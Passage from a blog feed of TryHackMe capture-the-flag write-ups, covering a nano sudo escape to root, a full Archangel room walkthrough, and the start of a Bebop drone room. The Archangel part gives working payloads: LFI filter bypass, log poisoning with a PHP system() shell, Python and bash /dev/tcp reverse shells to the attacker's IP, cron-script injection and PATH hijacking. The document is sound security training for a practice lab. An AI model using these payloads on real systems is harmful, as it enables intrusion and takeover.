        /usr/bin/rkhunter --versioncheck ;;

    update)

        /usr/bin/rkhunter --update;;

    list)

        /usr/bin/rkhunter --list;;

    read)

        /bin/nano /root/report.txt;;

    *)
esac
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The script presents a menu to the user. The read option executes /bin/nano on /root/report.txt with root privileges. Since nano allows for command execution, this can be exploited to spawn a root shell (a known GTFOBins technique).&lt;/p&gt;
&lt;h2&gt;2. The Path to Root (GTFOBins: Nano)&lt;/h2&gt;
&lt;p&gt;I executed the script with sudo and selected the read option to launch nano as root.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /bin/bash /opt/rootkit.sh
# Input: read
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the editor, I used the following key sequence to escape the restricted environment and spawn a shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/17.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Press Ctrl + R (Read File).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press Ctrl + X (Execute Command).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Type the command: reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press Enter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This spawned a shell with root privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/18.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3. Retrieving Root Flag&lt;/h2&gt;
&lt;p&gt;Successfully escalated to root, I navigated to the root directory and captured the final flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /root/root.txt

#THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;What&apos;s the root flag?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This room demonstrated a classic web-to-root attack chain. I leveraged SQL Injection to extract credentials and File Upload RCE to gain initial access. Finally, I escalated privileges by uncovering a password leak in .bash_history and exploiting a misconfigured Sudo permission on nano to gain root.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Thanks for following the journey to Root :)&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Archangel Writeup</title><link>https://0xm3dd.github.io/posts/tryhackme/archangel/thm-archangel/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/archangel/thm-archangel/</guid><description>A complete walkthrough of the Archangel room on TryHackMe.</description><pubDate>Sat, 14 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link:https://tryhackme.com/room/archangel&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Welcome to another write-up. Today we are tackling the &lt;strong&gt;Archangel&lt;/strong&gt; room on TryHackMe. This is a boot-to-root challenge that will test our web enumeration and privilege escalation skills on a Linux environment. Let&apos;s dive in.&lt;/p&gt;
&lt;h1&gt;Task 1: Deploy machine&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;1. Deploy the machine.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Done.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Task 2: Get a shell&lt;/h1&gt;
&lt;h2&gt;1. Enumeration&lt;/h2&gt;
&lt;h3&gt;Nmap Scan&lt;/h3&gt;
&lt;p&gt;I started by scanning the target to identify open ports and services.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -A -p- -T4 10.65.136.16 -oN nmap-scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nmap Results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;
The scan reveals two open ports: 22 (SSH) and 80 (HTTP). The web server is running Apache on Ubuntu.&lt;/p&gt;
&lt;h2&gt;Web Enumeration&lt;/h2&gt;
&lt;p&gt;I visited the website at &lt;code&gt;http://10.65.136.16&lt;/code&gt;. The page displayed a generic &quot;WaveFire&quot; company site.&lt;/p&gt;
&lt;p&gt;Looking at the page header, I noticed a support email address listed as &lt;code&gt;support@mafialive.thm&lt;/code&gt;. This immediately revealed the internal hostname.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hostname Found:&lt;/strong&gt; &lt;code&gt;mafialive.thm&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 1&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Find a different hostname&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;mafialive.thm&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Configuration&lt;/h3&gt;
&lt;p&gt;To access the virtual host, I added the domain to my &lt;code&gt;/etc/hosts&lt;/code&gt; file to map it to the target IP.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;10.65.136.16 mafialive.thm&quot; | sudo tee -a /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Capturing Flag 1&lt;/h3&gt;
&lt;p&gt;With the hostname configured, I visited &lt;code&gt;http://mafialive.thm&lt;/code&gt;. The site loaded a different page than the IP address, confirming the virtual routing.&lt;/p&gt;
&lt;p&gt;I immediately spotted the first flag displayed on the homepage.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 2&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Find flag 1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;thm{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;3. Finding the Development Page&lt;/h2&gt;
&lt;p&gt;The next objective was to find a &quot;page under development.&quot; I decided to use &lt;code&gt;feroxbuster&lt;/code&gt; to enumerate directories and files, as it&apos;s faster and handles recursion well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The tool successfully located &lt;code&gt;http://mafialive.thm/test.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I visited the page and found a title reading &quot;Test Page. Not to be Deployed&quot; and a single button labeled &quot;Here is a button&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 3&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Look for a page under development&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;test.php&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;4. Vulnerability Discovery (LFI)&lt;/h2&gt;
&lt;p&gt;Clicking the button didn&apos;t trigger any obvious visible change on the page content immediately (other than the text &quot;Control is an illusion&quot;), but I noticed a significant change in the URL bar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URL Change:&lt;/strong&gt;
&lt;code&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;
The &lt;strong&gt;view&lt;/strong&gt; parameter is taking a full file path (&lt;code&gt;/var/www/html/development_testing/mrrobot.php&lt;/code&gt;) as input. This strongly suggests a &lt;code&gt;Local File Inclusion (LFI)&lt;/code&gt; vulnerability. If the input isn&apos;t properly sanitized, we can manipulate this parameter to read arbitrary files on the system (like &lt;code&gt;/etc/passwd&lt;/code&gt;) or &lt;code&gt;source code.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attempting Directory Traversal:&lt;/strong&gt;
I attempted to read the &lt;code&gt;/etc/passwd&lt;/code&gt; file using standard traversal payloads.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://mafialive.thm/test.php?view=../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server responded with &quot;Sorry, Thats not allowed&quot;. This indicates a filter is in place, likely blocking the ../ sequence to prevent basic traversal.&lt;/p&gt;
&lt;h2&gt;5. Filter Bypass &amp;amp; Flag 2&lt;/h2&gt;
&lt;p&gt;Since I knew the absolute path from the previous URL (/var/www/html/development_testing/mrrobot.php), I realized I didn&apos;t need to use ../. I could target the known files directly using their full paths.&lt;/p&gt;
&lt;p&gt;To read the content of the file (instead of executing it), I used the &lt;strong&gt;PHP base64 filter wrapper.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I modified the payload to target &lt;code&gt;test.php&lt;/code&gt; instead of the decoy file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the result is a long base64 string.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CQo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgo8aGVhZD4KICAgIDx0aXRsZT5JTkNMVURFPC90aXRsZT4KICAgIDxoMT5UZXN0IFBhZ2UuIE5vdCB0byBiZSBEZXBsb3llZDwvaDE+CiAKICAgIDwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iL3Rlc3QucGhwP3ZpZXc9L3Zhci93d3cvaHRtbC9kZXZlbG9wbWVudF90ZXN0aW5nL21ycm9ib3QucGhwIj48YnV0dG9uIGlkPSJzZWNyZXQiPkhlcmUgaXMgYSBidXR0b248L2J1dHRvbj48L2E+PGJyPgogICAgICAgIDw/cGhwCgoJICAgIC8vRkxBRzogdGhte2V4cGxvMXQxbmdfbGYxfQoKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICBpZihpc3NldCgkX0dFVFsidmlldyJdKSl7CgkgICAgaWYoIWNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcuLi8uLicpICYmIGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICcvdmFyL3d3dy9odG1sL2RldmVsb3BtZW50X3Rlc3RpbmcnKSkgewogICAgICAgICAgICAJaW5jbHVkZSAkX0dFVFsndmlldyddOwogICAgICAgICAgICB9ZWxzZXsKCgkJZWNobyAnU29ycnksIFRoYXRzIG5vdCBhbGxvd2VkJzsKICAgICAgICAgICAgfQoJfQogICAgICAgID8+CiAgICA8L2Rpdj4KPC9ib2R5PgoKPC9odG1sPgoKCg==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I decoded the resulting Base64 string and successfully retrieved the source code for the vulnerable page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML&amp;gt;
&amp;lt;html&amp;gt;

&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;INCLUDE&amp;lt;/title&amp;gt;
    &amp;lt;h1&amp;gt;Test Page. Not to be Deployed&amp;lt;/h1&amp;gt;

    &amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;a href=&quot;/test.php?view=/var/www/html/development_testing/mrrobot.php&quot;&amp;gt;&amp;lt;button id=&quot;secret&quot;&amp;gt;Here is a button&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
        &amp;lt;?php

            //FLAG: thm{REDACTED}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            if(isset($_GET[&quot;view&quot;])){
            if(!containsStr($_GET[&apos;view&apos;], &apos;../..&apos;) &amp;amp;&amp;amp; containsStr($_GET[&apos;view&apos;], &apos;/var/www/html/development_testing&apos;)) {
                include $_GET[&apos;view&apos;];
            }else{

                echo &apos;Sorry, Thats not allowed&apos;;
            }
        }
        ?&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;                                                                                                                                                                                                                         &amp;lt;/html&amp;gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Images/7.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 4&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Find flag 2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;thm{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6. Vulnerability Analysis&lt;/h3&gt;
&lt;p&gt;Analyzing the source code retrieved above reveals the logic behind the security filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
}

if(!containsStr($_GET[&apos;view&apos;], &apos;../..&apos;) &amp;amp;&amp;amp; containsStr($_GET[&apos;view&apos;], &apos;/var/www/html/development_testing&apos;)) {
    include $_GET[&apos;view&apos;];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The logic has two conditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Allow List: The path must contain /var/www/html/development_testing.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Block List: The path must not contain ../...&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The Bypass:&lt;/p&gt;
&lt;p&gt;We can bypass the directory traversal filter because strpos is looking for the exact string ../... In Linux, &lt;strong&gt;..//..//&lt;/strong&gt; is functionally equivalent to &lt;strong&gt;../../&lt;/strong&gt; but looks different to the string matching function.&lt;/p&gt;
&lt;h2&gt;7. Apache Log Poisoning (RCE)&lt;/h2&gt;
&lt;p&gt;The hint &quot;Poison&quot; suggests targeting the Apache Access Logs. If we can inject PHP code into the log (by sending a malicious User-Agent) and then include that log file, the server will execute our code.&lt;/p&gt;
&lt;p&gt;You can read this documentation its pretty useful -&amp;gt; https://github.com/VVVI5HNU/LFI-RCE-log-poisoning&lt;/p&gt;
&lt;h3&gt;Step 1: Verify Access to Logs&lt;/h3&gt;
&lt;p&gt;First, I verified that I could read the Apache access logs. Since I knew the filter blocked &lt;code&gt;../..&lt;/code&gt;, I used the bypass &lt;code&gt;..//..//&lt;/code&gt; to navigate to the standard Ubuntu log location.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server returned the content of the log file, confirming that I had read access.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/8.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 2: Injecting the Payload (Log Poisoning)&lt;/h3&gt;
&lt;p&gt;To achieve Remote Code Execution (RCE), I decided to poison the log file by injecting a PHP shell. Apache logs the &lt;strong&gt;User-Agent&lt;/strong&gt; header of every request, making it a perfect vehicle for our payload.&lt;/p&gt;
&lt;p&gt;I used curl to send a request with a malicious User-Agent containing a PHP &lt;code&gt;system()&lt;/code&gt; call.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -A &quot;&amp;lt;?php system(\$_GET[&apos;cmd&apos;]); ?&amp;gt;&quot; http://mafialive.thm/test.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
&lt;strong&gt;The \ before $_GET escapes the variable so it is sent literally to the server, rather than being interpreted by my local shell.&lt;/strong&gt;
:::&lt;/p&gt;
&lt;h3&gt;Step 3: Executing Code&lt;/h3&gt;
&lt;p&gt;With the payload successfully written to access.log, I triggered it by including the log file again via the LFI vulnerability. This time, I appended the &amp;amp;cmd=id parameter to execute a system command.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URL :&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log&amp;amp;cmd=id
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Scanning through the response (in the last line of the output) , I found the output of the id command executed by the server:
&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/9.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RCE Confirmed!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;8. Getting a Reverse Shell&lt;/h2&gt;
&lt;h3&gt;Step 1: Setting up the Listener&lt;/h3&gt;
&lt;p&gt;To upgrade my access from simple command execution to an interactive shell, I started a Netcat listener on my local machine.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Payload Execution&lt;/h3&gt;
&lt;p&gt;I utilized a standard Python3 reverse shell one-liner to initiate the callback.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;MY_VPN_IP&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I URL-encoded this payload using CyberChef to ensure it would be processed correctly by the browser, then passed it to the cmd parameter.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/10.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Step 3: Catching the Shell&lt;/h3&gt;
&lt;p&gt;The listener caught the connection, granting me a shell as the www-data user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/11.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;9. Retrieving User Flag&lt;/h2&gt;
&lt;p&gt;With shell access, I navigated to the /home directory to identify users.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls /home
archangel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I accessed the user&apos;s directory and retrieved the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/12.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 5&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Get a shell and find the user flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;thm{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;False Lead: The &quot;Password Backup&quot;&lt;/h3&gt;
&lt;p&gt;While enumerating the &lt;code&gt;/home/archangel&lt;/code&gt; directory, I found a folder named &lt;code&gt;myfiles&lt;/code&gt; containing a file called &lt;code&gt;passwordbackup&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat /home/archangel/myfiles/passwordbackup
https://www.youtube.com/watch?v=dQw4w9WgXcQ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I checked the link, and it turned out to be a Rickroll (Rick Astley - Never Gonna Give You Up). This was a rabbit hole. So we got Rickrolled :))&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;I checked &lt;code&gt;/opt&lt;/code&gt; and found a custom script named &lt;code&gt;helloworld.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/13.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Crucially, this file is &lt;strong&gt;world-writable&lt;/strong&gt; (777 permissions).&lt;/p&gt;
&lt;p&gt;I then checked &lt;code&gt;/etc/crontab&lt;/code&gt; to see if this script was being executed automatically.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/14.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Vulnerability Identified:
The system runs &lt;code&gt;/opt/helloworld.sh&lt;/code&gt; every &lt;code&gt;minute&lt;/code&gt; as the user &lt;code&gt;archangel&lt;/code&gt;. Since I have write permissions to this file, I can replace its contents with a &lt;code&gt;reverse shell payload&lt;/code&gt; to escalate my privileges from &lt;code&gt;www-data&lt;/code&gt; to &lt;code&gt;archangel&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Exploiting the Cron Job&lt;/h3&gt;
&lt;p&gt;Since I had write access to &lt;code&gt;/opt/helloworld.sh&lt;/code&gt;, I appended a reverse shell one-liner to the script. This ensures that when the cron job executes the script (every minute), it will also execute my malicious code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Setting up the Listener&lt;/strong&gt;
I started a new Netcat listener on port 5555 to catch the incoming connection.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 5555
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Injecting the Payload&lt;/strong&gt;
I used the echo command to append the bash reverse shell to the target script.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.9.1.145/5555 0&amp;gt;&amp;amp;1&quot; &amp;gt;&amp;gt; /opt/helloworld.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Catching the Shell&lt;/strong&gt;
After waiting for less than a minute, the cron job executed, and I received a callback on my listener.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/15.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Retrieving User 2 Flag&lt;/h2&gt;
&lt;p&gt;With access as archangel, I navigated to the previously restricted secret directory. And I read the flag file found therein.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/16.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 6&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Get User 2 flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;thm{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;4. Root Privilege Escalation (Path Hijacking)&lt;/h2&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;I listed the files in the &lt;code&gt;secret&lt;/code&gt; directory and identified a suspicious binary named &lt;code&gt;backup&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;archangel@ubuntu:~/secret$ ls -l backup
-rwsr-xr-x 1 root root 16904 Nov 18 2020 backup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;s&lt;/code&gt; bit indicates it is a &lt;code&gt;SUID binary&lt;/code&gt; owned by root. When I attempted to run it, it produced an error involving the cp command.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cp: cannot stat &apos;/home/user/archangel/myfiles/*&apos;: No such file or directory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Vulnerability Analysis:
The error message reveals that the binary is trying to execute the system command cp. Crucially, because it likely calls cp directly (instead of the absolute path /bin/cp), it is vulnerable to Path Hijacking. The system will look for cp in the directories listed in my PATH variable. If I can place a malicious script named cp in a folder I control and add that folder to the start of my PATH, the binary will execute my script as root instead of the real copy command.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;To exploit this, I created a malicious script named cp in the current directory (/home/archangel/secret). This script simply spawns a bash shell.&lt;/p&gt;
&lt;p&gt;And I manipulated the PATH environment variable. I added the current directory (.) to the beginning of the path list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/17.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, I executed the SUID binary. The binary searched for cp, found my malicious script first (because my current directory is now first in the list), and executed it with root privileges.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Images/18.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Answer 7&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Root the machine and find the root flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;thm{REDACTED}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;And that’s a wrap! We successfully compromised the &lt;strong&gt;Archangel&lt;/strong&gt; machine by chaining multiple vulnerabilities:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LFI &amp;amp; Log Poisoning:&lt;/strong&gt; We turned a simple file inclusion bug into Remote Code Execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Horizontal Escalation:&lt;/strong&gt; We hijacked a cron job to pivot to the &lt;code&gt;archangel&lt;/code&gt; user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vertical Escalation:&lt;/strong&gt; We exploited a path hijacking vulnerability in a SUID binary to gain &lt;code&gt;root&lt;/code&gt; access.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This room was a great exercise in understanding how simple misconfigurations—like world-writable scripts and relative paths in SUID binaries—can lead to total system compromise.&lt;/p&gt;
&lt;p&gt;Thanks for reading! Happy Hacking ツ&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe: Bebop Writeup</title><link>https://0xm3dd.github.io/posts/tryhackme/bebop/bebop/</link><guid isPermaLink="true">https://0xm3dd.github.io/posts/tryhackme/bebop/bebop/</guid><description>A complete walkthrough of the Easy level Bebop room on TryHackMe. Who thought making a flying shell was a good idea?</description><pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Room Link : https://tryhackme.com/room/bebop&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Bebop is a quick but fascinating box that demonstrates just how fragile some embedded systems can be. It specifically targets the Parrot Bebop drone, running a customized OS that—spoiler alert—isn&apos;t as secure as one might hope for a flying object.&lt;/p&gt;
&lt;p&gt;The room is heavily inspired by the iconic DEFCON 23 talk &lt;strong&gt;&quot;Knocking my neighbor&apos;s kid&apos;s cruddy drone offline&quot;&lt;/strong&gt;. The overarching concept of drone hacking is terrifyingly cool, and if you haven&apos;t seen the original talk, I highly recommend watching it before diving in. It gives great context to what we are about to do.&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;900&quot; height=&quot;500&quot; src=&quot;https://www.youtube.com/embed/5CzURm7OpAA&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;h1&gt;Task 1: Takeoff!&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;1. Deploy the machine.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Done.&lt;/p&gt;
&lt;/blockquote&gt;
